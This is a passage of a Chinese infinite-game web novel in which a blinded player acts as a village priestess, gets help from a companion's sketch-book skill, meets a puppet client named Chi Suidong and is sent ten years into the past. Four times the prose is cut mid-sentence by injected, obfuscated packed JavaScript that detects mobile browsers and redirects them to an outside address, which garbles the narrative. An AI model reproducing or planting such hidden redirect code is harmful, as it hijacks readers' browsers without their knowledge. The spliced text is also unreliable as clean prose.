[恭喜您进入规则类副本《海村往事》!玩家进入副本已满三分钟,玩家身份已确认,即将为您发放本次副本身份卡] [身份卡抽取中——] [检测到您已绑定:特殊身份卡X1!] 那个带着机械无机质的声音再次在她耳边响起,又或者是在脑海中。与此同时,她感受到手心被放置了什么东西,她看不见了,但如果不出所料,大概还是那张黑色镶金的卡片。 或许因为视力无法使用,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422980|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次的身份卡信息也化作了几行白色的字,浮现在她眼前的漆黑中: [姓名:巫女] [身份:海村现任巫女] [任务:请找到你的名字。] [倒计时:3:00:00] 倒计时开始转动。 这次的身份卡没有名字? 甚至主线任务,都是要寻找“巫女的名字”。 宁汐柔看着身份说明消失在黑暗中,没有对村长的话做出反应。 上位者的特权,在于她们可以随意冷场,而旁人只能小心揣测她们的心思。 再加上,刚才侍女关心宁汐柔时,她因为沉浸在自己的思绪里,完全没有做出任何反应,但侍女并没有感到任何异样,而是态度如常。 由此也可知,巫女这个角色本身,就是这样的冷淡做派。 “村长一向在有关于祭祀的大事上准备周全,巫女大人不是在担忧祭祀用品。” 侍女果真在宁汐柔的沉默中上前一步,声音温和地说。 “那么,如海陵姑娘所言,巫女大人在担忧什么呢?” 苍老的声音,也就是村长,问道。 “自然是最后一件祭品的甄选。最后一件祭品,也是整个祭祀典礼中最重要的祭品,他彰显的是我们海村对于侍奉海神大人的忠诚和坚定。” 侍女,或者说海陵,如此回答。 “巫女大人的担心,我们理解。” 村长沉默了半响,叹息道: “只是最近二十年,村子里实在发生了太多的事情,合格的祭品,也越来越难找了……” “巫女大人是海神的使者。村长对待大人的心意,便是侍奉海神殿下的心意。” 海陵声音中的笑意缓缓消失了: “今日的备选,巫女大人都看过了,也都不满意。” “是……” 村长的声音再一次低了下去,宁汐柔大致判断了一下声音传来的位置,知道他应该是又跪下了。 [规则三:在海村,巫女高于一切] 眼前的漆黑中,又一行血字缓缓浮现,在片刻后溶于黑暗。 “回去。” 宁汐柔终于开口。 海陵和村长的沟通逐渐深入,所暴露出来的信息也越来越多。 但“最后一件祭品”显然是一个关键信息,游戏系统不可能那么好心,直接就让宁汐柔通过听对话的方式就把这个线索拿到手、 如果继续往下说,海陵和村长在“最后一件祭品”这件事情上深入,那么接下来,很可能就会出现海陵这个侍女不够资格讨论的信息。 那个时候,巫女本人势必要开口。 可此刻的宁汐柔对此一无所知,必然翻车。 尽管要舍弃一部分可能得到的信息,但宁汐柔必须维持住她作为巫女的形象和地位。 在上一个副本中,德洛丽丝“至高无上”的地位,是她最关键的一张牌。 “是。” 海陵听到命令后没有半点疑问异议,扶着她的手背,又转过身缓缓走下了祭台。 宁汐柔回到轿子上,又一路摇摇晃晃被抬着来到了一个不大的院落。 风中传来香料被烧成灰的味道,还有数不清的风铃被吹过时发出的碰撞声音。 听声音,是某种动物的骨骼。 这里,就是巫女的居所。 29. 海村往事(3) “大人,您是现在就休息吗?” 海陵扶着宁汐柔下了轿子,在她耳边问。 宁汐柔没说话,对着眼前的一片漆黑招了招手。 一个人走上前来,宁汐柔依稀能从他走路的声音判断出,是柏景垣。 这个副本结束之后,估计她要成为金耳朵了。 宁汐柔心想。 “巫女大人。” 柏景垣的声音从高到低,估计他也是在行礼。 “你,抱我。” 宁汐柔的声音依旧冷淡,面无表情地抬起手。 这里是巫女的居所,她作为巫女,即使目盲,但也应该对这里的构造非常熟悉,至少该知道怎么走进自己的房间。 宁汐柔不能要求任何人给她带路。 她不能让人给她带路,因为这会暴露她不知道这件事,这与巫女的人设不符。 简而言之,OOC。 但她确实不知道路。 不过她可以换一种方式。 傲慢,冷漠,这两个性格特质符合巫女的人物设定,刚才在祭台上宁汐柔已经确认过。 地位崇高且傲慢的巫女大人,不想自己走路回房间,找一个人肉轿子,这很合理吧? “是。” 海陵后退了一步。 一双手臂将宁汐柔抱了起来,是柏景垣。 青年的胸膛温热有力,宁汐柔可以听见他的心跳声,很快。 几乎没有感受到任何颠簸,她被放在一把柔软的椅子上。 宁汐柔伸出手去摸索椅身的材料,软而滑,是某种精细纺织出来的棉布。 不是人皮,她在心里默默松了口气。 宁汐柔当然并不害怕人皮,即使是视觉在的时候,剥皮抽筋这种场景也没办法激活她的恐惧细胞。 但即使是再新手的玩家也能猜到,人皮这个元素,在副本中本身就带着强烈的象征意味。 这个元素出现的频率越高,越证明副本的危险程度。 宁汐柔现在暂时失去了视觉,没了判断人心的能力,可谓是实力大减。 在这种时候,副本的难度,自然是越低越好。 “姐姐。” 柏景垣的声音响起。 这个称呼,证明此刻环境是安全的,只有他和宁汐柔两个人。 “你的眼睛怎么……” 他的声音艰涩。宁汐柔感受到眼前一阵很微弱的风,随后又消失无踪。 是他的手,想要触碰,最终却只轻轻抚摸过她眼前的空气。 “我的眼睛现在看不见,应该是副本规则造成的。” 宁汐柔平静地打断了他。 “我目前触发了三条规则,你认真听。” [规则一:你是海村的巫女] [规则二:所有人都知道,巫女天生目盲] [规则三:在海村,巫女高于一切] 她打断柏景垣,正是因为规则二。 在所有人都知道,巫女天生目盲。 如果柏景垣对宁汐柔的眼睛发问,就证明了他“不知道巫女天生目盲”,也就是违反了规则二。 尽管现在还不清楚这个副本中违背规则的代价是什么,但违反规则这种事,能避免还是避免。 柏景垣沉默半响,宁汐柔听见写字的沙沙声。 他在记笔记? “我的规则一,就是你的规则三。” 柏景垣说着,往宁汐柔手心里放了一个小本子。 真的很小,几乎只有她半个掌心那么大。 然而,在握住小本子的瞬间,宁汐柔眼前一片的漆黑中,忽然出现了白色的线条。 线条搭建汇聚,最终呈现出一张简笔画。 是一间房间。 房间不大,四方形,最顶上悬挂着一盏造型奇特的灯。 上面具体的纹路受限于绘制者的技术,并看不清楚是什么,只知道它的造型纷乱复杂,颇具有极繁主义的风格。 房间整体装潢非常东方风格,看上去颇有年代。 屋内左边是占据了一整面墙的药柜,上面最少有几百个小柜子。至于每个柜子上具体的名称,受限于纸张的大小,没办法画出来。 右边是一张古典拔步床,床边放着一把藤编椅子,椅子铺着厚厚的软垫,上面正坐着一个人。 那是一个女人,穿着一身深蓝色的大褂,头发梳成风格独特的发髻,鬓边戴着几支银钗, 她的长相柔和秀丽,精致飘然,神色却很冷漠,眼中一片茫然,没有任何焦点。 是宁汐柔。 这个本子上画的,就是这个房子。 可是柏景垣怎么做到的? 他画出来的图像,居然就这样直接显现在了宁汐柔的脑海里? “这是我的技能,叫【脑补小能手】,大体上就是,我能把自己看到的现实转换到这个本子上,而拿到了这个本子的人,一定能看到这上面的内容。” 柏景垣解释完,又笑了。 “大部分副本里,这个技能其实没什么用。毕竟这个本子太小了,用肉眼去看,几乎只是个模糊的景象,即使用来当一个隐藏摄像头,也很难体现出有用的细节和线索。 用它来传递秘密信息,倒是足够隐蔽,但是过副本又不是拍谍战片,能用上几次? 我对这个技能挺无感的,还有点嫌弃它不够强,没想到会有一天这么庆幸有它在……” 他单膝跪在宁汐柔面前,将脸颊轻轻贴在她的手背上,闭上眼睛,终于安心了一些的样子。 “姐姐,或许我的技能,一直都只是为了在今天,为了让我来做你的‘眼睛’。” 宁汐柔终于可以‘看见’了。 这个本子的神奇之处在于,上面的内容会根据柏景垣的动作实时转换,就好像用他的眼睛来看一段简笔动画。 如果这段动画不是大部分都是她的脸的话,就更好了。 “我目前手里只有两条规则,其中规则一,姐姐你已经知道了。这是我在看到村长向你下跪的时候,自动触发的。” 柏景垣说。 “规则二,是刚才你对我招手的时候触发的,有点像是规则一的延伸。” [柏景垣·规则二:巫女不可违抗] “离姐告诉过我,你是拿着特殊身份卡的玩家,这就意味着,整个副本都会以你为中心构建。但是……” 柏景垣的声音里带着不安: “但是我们两个人一共触发了五条规则,这五条规则居然全部与你相关。这个中心的程度也太过分了。 姐姐你是新人,可能不知道,但是一般来说,在故事类副本中,身份卡越重要,往往意味着完成任务的难度越大。我有点担心你。” “你的任务是什么?” 宁汐柔没顺着他的话思考,直接开口问道。 “活过三日后的祭典。” 柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439749|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景垣说。 “三日后的祭典。这个应该就是副本的主线节点了。” 宁汐柔垂下眼,握着手里的小书,又问: “你能把进入副本之后的事情,都回忆一遍吗。” “当然可以。” 柏景垣的眼珠子转了转,像撒娇一样拉住她的手: “不过,使用技能对玩家来说也是很消耗精力的事情,我从头到尾回忆一遍,估计会累得站都站不住了……” 他说着,一点也不隐藏自己声音里的兴奋和期待: “我把姐姐抱到床上,然后我躺在姐姐的怀里,慢慢地,仔仔细细地,全部回忆一遍,好不好?” 宁汐柔抬手摸了一下他的头发,还是一如既往的好手感。 “好。” 她点点头,同意了。 柏景垣进入副本的时间和宁汐柔一致,不过宁汐柔在轿子上醒来,他则是在轿子底下醒过来。 因为他是轿夫。 柏景垣没有受到太多关注,他是前排的轿夫,一开始只能随着大流往前走。 作为老玩家,他知道宁汐柔大概率会和自己在比较近的地方,但一直到了祭台下,转身落轿的时候,他才发现宁汐柔就是巫女,更发现了她的眼睛似乎出了问题。 在柏景垣的副本经验里,巫女这样一看就极其重要的角色,往往是由NPC担任。 看着宁汐柔走上台,他有些担忧,在看到村长下跪的那一刻,担忧变成了震惊。 规则一弹出。 看着宁汐柔面无表情地应付完了村长,转身下了祭台,柏景垣注意到她的额角似乎还有一点点冷汗。 “我以为姐姐什么都不会怕的,没想到进入副本只有也会紧张。” 画面转换到这里的时候,柏景垣笑了一下,轻轻用指腹去刮宁汐柔的手心。 其实宁汐柔并不紧张,只是因为那时眼球被挖走的疼痛感还未消散,她是疼得出了冷汗。 这种事情没有解释的必要,她摸了摸小狗的金毛脑袋,示意他继续。 再后面,就是柏景垣的身份卡了。 宁汐柔第一次“看见”普通玩家的身份卡。 [您已进入规则类副本《海村往事》] [玩家身份确认,即将为您发放本次副本身份卡] [身份卡抽取中——] [姓名:海明] [身份:海村村民/候选] [任务:存活至祭典结束] [倒计时:3:00:00] “村民,候选?” 宁汐柔默默重复了一遍身份卡上的文字。 “是,我也在想,村民的身份很明显,但是‘候选’是什么意思?祭品候选?这种副本里,一旦涉及到祭祀,基本上都是人牲。” 柏景垣耸了耸肩: “说实话,有点俗了已经。” “你错了。” 一个清脆的声音响起,听起来像个坏脾气的男孩子,甚至还没到变声期。 “谁?!” 柏景垣瞬间从床上跃起,浑身的肌肉绷紧,眼神锐利,扫向四周。 一个小小的黑影从房梁上跳下来,落在宁汐柔面前,黑曜石做的眼睛看向她。 是一只木偶,那只将宁汐柔二人带入副本的,来自傀儡师的木偶。 “我是你的委托人,池隨冬。” “或者,你也可以叫我,傀儡师。” 30. 海村往事(4) “傀儡师?” 柏景垣看着这个还没有自己手臂长的木偶,沉默了一瞬,问: “离姐和我们描述的你可不是这样。” 在进入副本前,离秽和宁汐柔二人简单描述过傀儡师的特征。 傀儡师的技能很强大,他可以为自己制造出一个“傀儡”,用来承载自己的意识,甚至将自己的“玩家”身份转移到傀儡身上。 据离秽所说,她之所以会进入宁汐柔所在的新人副本,就是因为接到了傀儡师的委托,陪同他的傀儡进入副本。 但是傀儡师作为榜一为什么需要榜七离秽的陪同,她没有解释。 “这个副本比较特殊,我暂时会使用这个形态。” 木偶黑漆漆的眼珠子定定看着宁汐柔。 宁汐柔看不见木偶的样子,眼前漆黑中的简笔画里,木偶只是一个模糊的黑影 毕竟是来自柏景垣视角的转化,小本子上呈现出的画面也会在某种程度上受到他情绪的影响。 比如,他现在看上去,就对这个木偶观感不怎么样。 “自我介绍一下,我叫池隨冬。” 木偶走近她。 “你刚才已经说过一遍了,在你拉风登场的时候。” 柏景垣的声音懒洋洋地响起。 “我在这个副本里已经呆了十年了。我的委托,是希望你能通关副本,带我离开这里。” 木偶,也就是池隨冬,没有理会柏景垣,自顾自说道: “作为报酬,我的一切,包括我自己,都可以给你。” “哦,以身相许?” 柏景垣笑了一声,意味不明。 宁汐柔对着黑暗中招了招手。 她本意是安抚一下柏景垣,没想到手心却感受到了木质微凉的触感。 小木偶直接坐在了她的手心。 在一片黑暗的寂静中,宁汐柔觉得自己似乎听见了某只金毛小狗咬牙的声音。 “我和你说一下这个副本的基本情况。” 池隨冬的声音平稳,一如既往地,没有理会柏景垣。 玩家排行榜上,他是榜一,柏景垣是榜七十九,他和离秽是平起平坐,而柏景垣只是离秽的下属。 “你说。” 宁汐柔虽然有心安抚柏景垣,但此时此刻,自然是有关副本的信息更重要。 柏景垣站在原地,看了一眼神情冷淡的木偶,眼神中闪过一丝杀意,又很快被压下去。 他再次挂上笑容,坐到宁汐柔床边,把自己毛茸茸的脑袋轻轻搭在她肩膀上。 “正好,池哥一边说,我一边给姐姐做画面导览。” 他的声音轻快,一丝不快的意思也没有。 木偶黑漆漆的眼珠子终于看向他。 直到现在,池隨冬才把他放在眼里。 “你能让她‘看见’?” 池隨冬问,清脆的少年音里带上了惊讶。 “是呀,我的技能对姐姐有帮助,真是太幸运了。” 柏景垣笑眯眯地回答。 “好吧。” 木偶沉默半响,点头,没有追问: “那我说,你尽量让她‘看’得清楚一些。” 这个副本的背景是一座海中小岛上的村落。 这里原本叫做“海神村”,在十年前改名为“海村”。 海村是一个相当落后的地方,几乎没有现代化的痕迹,村子里大部分人家还在用油灯和蜡烛,只有村长家和工匠家用得上电灯。 至于电视、电话这样的东西,更加是不存在的。 全村唯一和“现代”挂钩的,只有村中心小广场上的广播大喇叭。 海村信仰海神,人人都是忠诚的信徒。 他们相信自己受到了海神的庇佑,承蒙着海神的恩惠,是海神的子民。 浓厚的信仰氛围之下,在这里,巫女的身份比村长更要受人尊敬。 在村民们的眼中,巫女是海神选中的代言人。 她是整个村落中,最高贵圣洁,不可违逆的存在。 在这个贫瘠的村子里,村民们自己住着破旧不堪的房屋,但是却花费了大量的时间和金钱建起了一座神观,供奉海神。 也就是宁汐柔如今所在的地方。 神观是一座两进的院子,从广梁大门进入,走过雕刻着鱼龙戏水图样的青石一字影壁,走入垂花门,就到了西厢房,也是巫女生活起居的卧室。 东厢房与西厢房正对,平时专门用来放置祭祀用品。 正殿两边的耳房,靠近西厢房的一间供巫女的侍女居住,方便侍奉起居。 另一边的耳房不住人,而是用作储物,供巫女的生活用品存放。 至于平日里来往洒扫的杂役、轿夫等人,因为身份低微,不被允许居住在神观中。 正殿是整个神观中最重要的地方,专门用于供奉海神。 不过和一般神观中放置神像不同,海村的神观,在供台上,放置的是一支独木舟。 “据说,那是当年海村祖先所乘坐的独木舟。他们自远方大陆为躲避战乱而来,孤舟前行,在大洋乱流中迷失方向,昏死过去。可醒来时,居然每个人毫发无损,平安抵达到了岛上。” 池隨冬的声音里带上讽刺: “所以,他们坚信是海神赐予了独木舟神力,保佑了他们。那支独木舟,也就成了海神的象征,村民们围绕着当时独木舟的落点,建起了这座神观。” 宁汐柔眼中的简笔画一点点清晰,但关于独木舟的部分,还是一片空白。 这是自然,柏景垣在抬着轿子走进来的时候,已经看到过神观内部,随着池隨冬的讲述,自然能够补全细节,将全貌在脑海中补全出来。 但他并没有进过正殿,那里面供奉的独木舟长什么样子,他当然想不出来。 “我去看一眼?” 柏景垣问宁汐柔。 神观正殿供奉着的东西,怎么看都是非常关键的线索。 “好,你去吧,我在这里等你。” 宁汐柔点头。 柏景垣的脚步声走远了,他的技能似乎有使用距离限制,宁汐柔的视野再次陷入一遍漆黑。 她茫然无焦距的眼睛“看”向手中的小木偶: “现在他走了,你可以告诉我了。” “……告诉你什么?” 她感到自己脸颊传来的微弱空气振动,木偶似乎摸了摸她的头发。 木偶也有触觉吗? “你讲的那么详细,连神观的耳房是用来做什么,都说得清楚明白。可是我房间里,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447908|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个东西,看上去比耳房重要多了,你却一个字都没有提。” 宁汐柔说。 “你有意强调那个关于海神独木舟的传说,把它渲染成整个神观的中心。这样一个看上去不能错过,又近在咫尺的线索,我一定会想要‘看’到。但我现在行动不便,大概率会让柏景垣去看,然后再用他的技能转化成画面给我。” “所以,在他去正殿的那段时间,我们会是独处的,不是吗?” 宁汐柔的声音里带上一丝疑惑: “可我不理解的是,你为什么要费这个力气支开他?他不是不知趣的人,即使你直说让他退下,他最多也就是对你磨磨牙,不会不听话的。” “你果然很聪明,一直都是。” 脸颊边上传来微凉的触感,这次宁汐柔确定了,人偶就是在摸她。 “我从刚开始就想问你了,你认识我?” 宁汐柔捉住人偶的手,问他: “从一见面开始,你就好像很了解我。” “你想问的是那盏灯吧?那个小子给你‘看’了这个房间,以你的敏锐,不可能看不见那盏灯。我没想到离秽会让人跟着你进这个副本,她不该这样做的。” 池隨冬没有回答这个问题,反而自顾自说道: “那盏灯叫海神灯,你听说过吗?” 他说话时,一阵风顺着打开的门吹进来,灯上挂着的装饰在风中轻轻相触,像是某种动物的骨骼互相碰撞。 这是宁汐柔在进入这座神观时听到过的声音。 原来不是风铃。 “海神灯…” 宁汐柔重复了一遍这个名字。 [叮!恭喜玩家触发支线任务:海神灯之谜] [检测到此为特殊支线任务,将为您自动开启任务转送!] [开启倒计时:3、2、1——] “等等,不,现在还不是时候!” 人偶的声音变得慌乱起来,他抬起手想要抓住宁汐柔,可当他伸出手时,眼前已是一片虚无。 “姐姐,我看完了,那个独木舟有点奇怪……?” 柏景垣的声音传来。 他小跑着进了房间,看到空空如也的床,脸上的笑容消失,眼神刺向木偶池隨冬,声音冷冽: “她人呢?” “她还在这个副本里。但是,不在这里。我不该和她说海神灯的。” 木偶的声音中浮现出懊恼: “她当初说的,居然是这个意思……” 什么? 柏景垣一头雾水,他大步走上前去,将木偶拎起来,威胁的话还没出口,门外又走进来一个人,是侍女海陵。 “大人——” 她正要说话,目光落在柏景垣拎着的人偶上,忽然后退了一步: “是、是你?” “难道,这一切已经开始了吗?” 她抬头看向海神灯,声音中染上悲切。 “一个个都在说什么?姐姐她人在哪?!” 柏景垣气得眼睛都红了,他也抬起头,第一次认真看向那盏被高高挂起的灯。 足有半人高的白色骨灯静静悬挂在空中,它四周悬挂着雕刻着精美花纹的挂饰,随着风的摆动,发出相撞的声音。 那是人的指骨。 31. 海村往事(5) 宁汐柔从黑暗中恢复意识,耳边传来海浪冲上沙滩的声音。 缓缓睁开眼睛,眼前是一片纷乱噪点,好像出了故障的闭路电视,她感觉到眼角一阵抽痛,前方的世界也渐渐清晰起来。 她的视力恢复了。 海边阳光刺眼,刚刚恢复的视觉格外敏感,她抬手盖住自己的眼睛,一点被光激出的眼泪顺着掌心滑下脸颊。 这里是哪里? 宁汐柔一边适应着对光的感知,一边在心中默默思考。 耳边是海浪声音,宁汐柔坐在沙滩上,身上的衣服也成了进入副本之前,在公会空间里穿着的那一套常服。 她肯定已经不在神观中了,这是毋庸置疑的。 这里看上去的环境是一个海岛,所以她大概率依然还在海村。 不过,这个海村,还是她刚刚所在的那个海村吗? “哭了?” 一个男声站在不远处问。 他的语气很平淡,声音如溪流清朗,带着秋后雨季般的冷。 是陌生的声音,但吐字的音调却又似曾相识。 宁汐柔放下遮着眼睛的手,向他的方向看过去。 入眼那一刻,即使是见惯了美人的宁汐柔,也不自觉被惊艳了一瞬。 男生穿着简单的衬衫长裤,被海水浸湿之后,衣物贴在身上,勾勒出劲瘦有力的腰肢,腹肌在半透明的布料下若隐若现地起伏着。 他个子很高,肩膀宽但不厚重,更显得身材挺拔清隽,一双腿笔直修长,小腿的弧度流畅而优美,他赤脚踩在沙滩上,露出骨骼精巧的脚踝。 这样一个人,即使不看面容,单单只是站在那里,也会成为一种美的呈现。 他又偏偏生了一副极好的面容。 他眉骨偏高,走势利落清晰,本该是傲气十足的,眉下却缀了一双桃花眼,眼尾微挑,即使只是随意一撇,也带三分嗔怪的媚。 鼻梁高而直,薄唇连颜色也浅淡,不知道是被海风吹得,还是本来如此。 乍一看青竹一般雅致清冷的人,却配了双媚色难掩的眼,本该是矛盾的,但这种矛盾,又生出让人见之难忘的美丽。 在宁汐柔见过的人当中,他的长相,仅次于伊卡瑞斯那份近乎非人的锐利姝艳。 “你的衣服湿了。” 男生说着,走近宁汐柔,在她面前蹲下。 他的视线扫过宁汐柔此刻同样被海水浸湿、贴在肌肤上的衣服,眼神依然平淡,没有半点凝视打量的意味,反而将自己手中的外套搭在了她的肩膀上。 那是一件风衣外套,已经被尽可能拧去了大部分吸附的水分,此刻散发着海水独有的潮汐气味。 披上外套时,两个人之间的距离被拉近。 宁汐柔看见他被海水浸湿的头发,是难得少见的纯黑色,贴在脸颊边上,和玉石一样莹白的肌肤,黑白分明,漂亮得吓人。 她抬起手,轻轻摸了一下他的发梢,将那缕头发别到他耳后。 “……喂。” 男生的声音发紧,一双桃花眼中带上惊讶,身体向后倾了一点。 “多谢。” 宁汐柔收回手,搭着风衣的领口,看着他,露出一点笑: “海风很冷,不过,现在好多了。” “……哦。” 男生点点头,站起来,对着宁汐柔伸出手: “沙滩上湿。” 宁汐柔看着他一会儿,在男生面露疑惑时,才抬手搭上了他手心。 他的手也很好看,骨肉亭匀,骨节分明,掌心微凉,可以将宁汐柔的手整个握住。 在握住宁汐柔手掌的瞬间,他别过头去,湿漉漉的头发遮不住耳根上那一点红晕。 “你知道这里是哪儿吗?” 宁汐柔站起来,松开他的手,拍了拍自己裤子上沾着的沙子。 她环视四周一圈,除了崎岖的礁石和光秃秃的山林之外,什么也没看到。 “不知道。” 男生摇摇头,默默收回了自己的手,神使鬼差的,用另一只手摸摸自己的手心,抿了抿唇。 宁汐柔的视线看向了另一个方向。 不远处的海滩上,也有几个人摇摇晃晃站起来,往这个方向走过来。 “我靠,这副本传送也太有毛病了。” 最先走过来的是个体型微胖的男玩家,他看上去也很年轻,不过二十岁出头的样子,声音中气十足,眼见着已经缓过来了。 “副本?” 男生问。 “对啊,副本。哦,你们是新人吧?” 微胖男玩家抬起手,似乎想要拍拍男生的肩膀,但被对方后退半步躲了过去。 他倒也不尴尬,乐呵呵地摸了摸自己的板寸脑袋,说道: “挺好,有警惕意识,这才能在这破游戏里活长点。” “游戏?” 男生又问。 “对,我们现在所在的地方是一个游戏,叫做无限游戏……你等等啊,等那两个人过来了再说,要是他们也是新人,省得我再解释了。” 微胖男玩家说着,又笑了。 他个子不高不矮,带点微胖,体型上来说其实并不夸张,更多是长了一张肉圆脸,看着就很讨喜和气,是能让人放下防备的长相。 “好。” 男生点头。 不知是有意无意,他又上前半步,微微站在宁汐柔前面,将她和微胖男玩家之间隔开了一点。 未知的环境,陌生的同行者,还有听上去就带着神秘危险意味的“副本”“游戏”,他这个动作,并不是为了炫耀或者彰显所有权,反而有点保护的意味在里面。 宁汐柔并不需要这份保护,但她乐于观赏。 同样被海浪冲上来的另外两个人也走了过来,一个是戴着眼镜,看上去像个普通上班族的男玩家,另一个则是宁汐柔认识的人。 在新人副本中,她也是这副安静低着头不说话的样子。 芹秀兰。 那个凭借着极低存在感,在离秽的重剑斩杀黎明之下幸存的中年女玩家。 她此刻的存在感依然不强烈,但没有那个副本中那样稀薄到诡异的程度,也不至于让人几乎完全无法察觉她的存在。 不过更奇怪的地方在于,她和宁汐柔记忆中的样子有点不同。 这种不同,不是说长相气质上的差异,而是…… 年轻了很多了。 “好了,人都到齐了,一看你们就都是新人,我来给大家介绍一下基本世界观吧。” 微胖男玩家一拍手,脸上的表情看上去还挺高兴: “新人多好啊,新人多就证明难度不太高。先自我介绍一下,我叫程澎封,也算是个老玩家了吧。你们现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457409|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所在的地方,叫做无限游戏……” 程澎封讲述着关于无限游戏的事。 他应该说过不少次了,讲述节奏合理,信息量不过多,重点清晰明确,没有无意义信息,也没有什么引导的意味在。 不过,他讲得再好,新人们一时间,也很难平静接受这样的现实。 “我们都死了?!我、我死了?怎么可能,我才刚刚升职啊!” 眼镜男玩家叫喊着,情不自禁哭起来: “我每天加班到凌晨,睡不了两个小时就又要上班,不眠不休地跟项目,天天伺候那群狗爹甲方,好不容易才升职,好不容易才不用天天加班啊!!” “你才毕业两年啊?” 程澎封忍不住惊呼了一声,随即又觉得自己这样好像有点缺德,往嘴上做了个拉拉链的手势: “不好意思,你继续,你继续。” 和男玩家崩溃痛苦嚎啕大哭的反应不同,芹秀兰似乎对自己已经死了这件事情并不惊讶。 她只是沉默着叹了口气,抬起头看着远方的大海,神色中带着茫然和不安。 “人死了之后,都会来这里吗?那些,病死的人,也会来到这里吗?” 她小声问程澎封。 “应该都会来的,只是那些寿终正寝的、病死的、没什么求生意志的,基本上新人副本里就会挂了,很少有人能挺过第一个副本,进入无限游戏服务器。” 程澎封说着,又鼓励几人: “我看你们都年纪不太大,也不是病歪歪的,活下来概率还是很大的!” 宁汐柔转头看着男生。 他的反应并不强烈,似乎只是平静地站在原地,但略微急促了的呼吸频率,和闪动着的瞳孔,依然昭示着他内心绝不平静的翻涌起伏。 “你还好吗?” 她问。 “……没事。” 男生闭上眼,深呼吸了两遍,又睁开眼睛,似乎将情绪平复了下去。 “……你呢。” 又是沉默半响,男生转过头看着宁汐柔,礼尚往来一样,问她。 “有点难过,毕竟我有很多美食还没吃到过。” 宁汐柔笑了下,缓慢地眨了眨眼, “不过,如果我能在这里吃到更好吃的美食,好像也就没什么关系了。” “……哦。” 男生点了点头,神色很认真: “我会帮你找的。你喜欢吃什么?” “我的口味呀?你应该很快就会知道了。对了,我叫宁汐柔,你呢?” 宁汐柔这下是真的被逗笑了。 “池隨冬。” 男生看着她的反应,有些不明所以,但还是回答她。 “池、隨、冬。” 她说着这个名字,似乎将每个字都在舌尖把玩了一番,才从唇间推出来。 “好名字。” 宁汐柔知道自己在哪里了。 她的确没有离开海村,但是也的确不在刚刚的那个海村。 她现在所站着的这片土地,是十年前,池隨冬的新人副本。 海神村。 [叮!欢迎玩家进入副本《海神村之行》!] [——身份卡抽取中——] [支线任务中,您的身份卡为锁定状态,不可查看!] [请玩家努力完成任务!] 32. 海村往事(6) “咱们进入副本多久了?身份卡应该快下来了,这个是仅玩家自己可见的,你们等下都看看。” 程澎封说。 “不过看这个开局,估计我们会是外来者身份卡。” “什么是身份卡?” 池隨冬面无表情地问。 “反正现在也得等,我再跟你们讲讲吧。” 程澎封看上去的确是这个游戏中少有的好相处类型,乐呵呵地回答。 在无限游戏里,当进入副本的时长达到三分钟,系统就会将身份卡下发给玩家。 探索自己的身份卡,在玩家通关路径上非常重要的一部分。 对于初入无限游戏的新人玩家来说,更是如此。 不同的副本里有着不同的身份卡,常规副本,也就是一般故事类副本中,玩家身份卡大体可以分为:“原住民”和“外来者”。 原住民类型的身份卡,顾名思义,指的是玩家的身份卡与故事背景有着相对密切的关联,甚至可能就是主线中不可或缺的一部分。 这种身份卡的好处是,玩家在摸清自己身份卡的过程中,同时也在提升自己对于世界观和主线任务的探索度,能够很大程度上帮助他们完成主线任务。 坏处也很明显。 副本生成的身份卡,本身是就是一个独立的角色,他们有着自己清晰的背景故事和人物关系,他们是有着“记忆”的。 但这份记忆不会随着身份卡一起下发给玩家。 拿到了原住民身份卡,就意味着玩家要演一场自己没有拿到剧本的剧本杀,全程靠线索和周围人的反应来硬撑。 不撑怎么办? 也好办,要么OOC,被其他NPC发现不对劲,然后开始要么逃命要么被杀的大逃杀副本模式; 要么实力足够强,直接一力降十会,把能威胁到自己的不管是NPC还是玩家都杀了。 “不过啊,全杀了那种操作,得是超级大佬来才有可行性。副本里边乱七八糟的力量多了去了,你们可别以为自己会两下自由搏击,就能往上冲。” 程澎封说到这里,特意强调了一下。 